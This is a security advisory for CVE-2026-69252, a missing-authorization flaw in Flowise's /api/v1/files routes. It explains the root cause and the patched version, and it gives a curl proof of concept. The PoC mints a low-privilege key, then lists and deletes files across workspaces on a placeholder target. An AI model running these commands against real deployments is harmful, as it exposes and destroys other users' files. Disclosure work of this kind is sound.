highCVE-2026-69252Aug 4, 2026

CVE-2026-69252: Flowise Missing Authorization on File Management API

Rohit Hatagale
AI Security Researcher, SecureLayer7

Any API key in a Flowise organization, even one with unrelated permissions, can list and delete files belonging to other workspaces because the file management routes skip permission checks entirely.

Packageflowise
Ecosystemnpm
Affected<= 3.1.2
Fixed in3.1.3
CVE-2026-69252: Flowise Missing Authorization on File Management API

The problem

The /api/v1/files route in Flowise is gated only by IdentityManager.checkFeatureByPlan('feat:files'). Neither the GET nor the DELETE handler calls checkPermission(...), so any valid API key within the organization passes through.

The getAllFiles handler reads only activeOrganizationId and recursively lists every file under that org's storage root, leaking files from all workspaces. The deleteFile handler reads activeWorkspaceId solely for quota bookkeeping; the actual deletion uses activeOrganizationId plus a user-controlled path, meaning a key bound to workspace A can destroy files in workspace B.

Proof of concept

A working proof-of-concept for CVE-2026-69252 in flowise, with the exact payload below.

bash
# Step 1: create a low-privileged API key (tools:view only)
curl -i -b tamako.cookie \
  -H 'x-request-from: internal' \
  -H 'Content-Type: application/json' \
  -d '{"keyName":"poc-files-noperm","permissions":["tools:view"]}' \
  http://TARGET:8080/api/v1/apikey

# Step 2: list all org files (cross-workspace) with that key
curl -i \
  -H 'Authorization: Bearer <LOW_PRIV_KEY>' \
  http://TARGET:8080/api/v1/files
# Returns files from every workspace, e.g.:
# [{"name":"poc-cross-workspace.txt","path":"f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt","size":19}]

# Step 3: delete a file from a different workspace
curl -i -X DELETE --get \
  -H 'Authorization: Bearer <LOW_PRIV_KEY>' \
  --data-urlencode 'path=f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt' \
  http://TARGET:8080/api/v1/files
# Returns: {"message":"file_deleted"}

The root cause is CWE-862 (Missing Authorization). The route registers only the feature-plan gate, so the permission system is never consulted for file operations.

The patch in PR #6435 (commit bc22bf8) adds checkPermission(...) middleware to both the GET and DELETE handlers on /api/v1/files, and scopes the file listing and deletion to activeWorkspaceId instead of the broad activeOrganizationId. This closes the cross-workspace path traversal that the user-supplied path parameter exploited.

The fix

Upgrade Flowise to version 3.1.3 or later. The fix is in commit bc22bf8baec95b6a3d6e1b3563b4f03491cd6fbb (PR #6435), which adds proper checkPermission enforcement and scopes all file operations to the requesting workspace.

Reporter not attributed.

References: [1][2][3][4][5]

Related research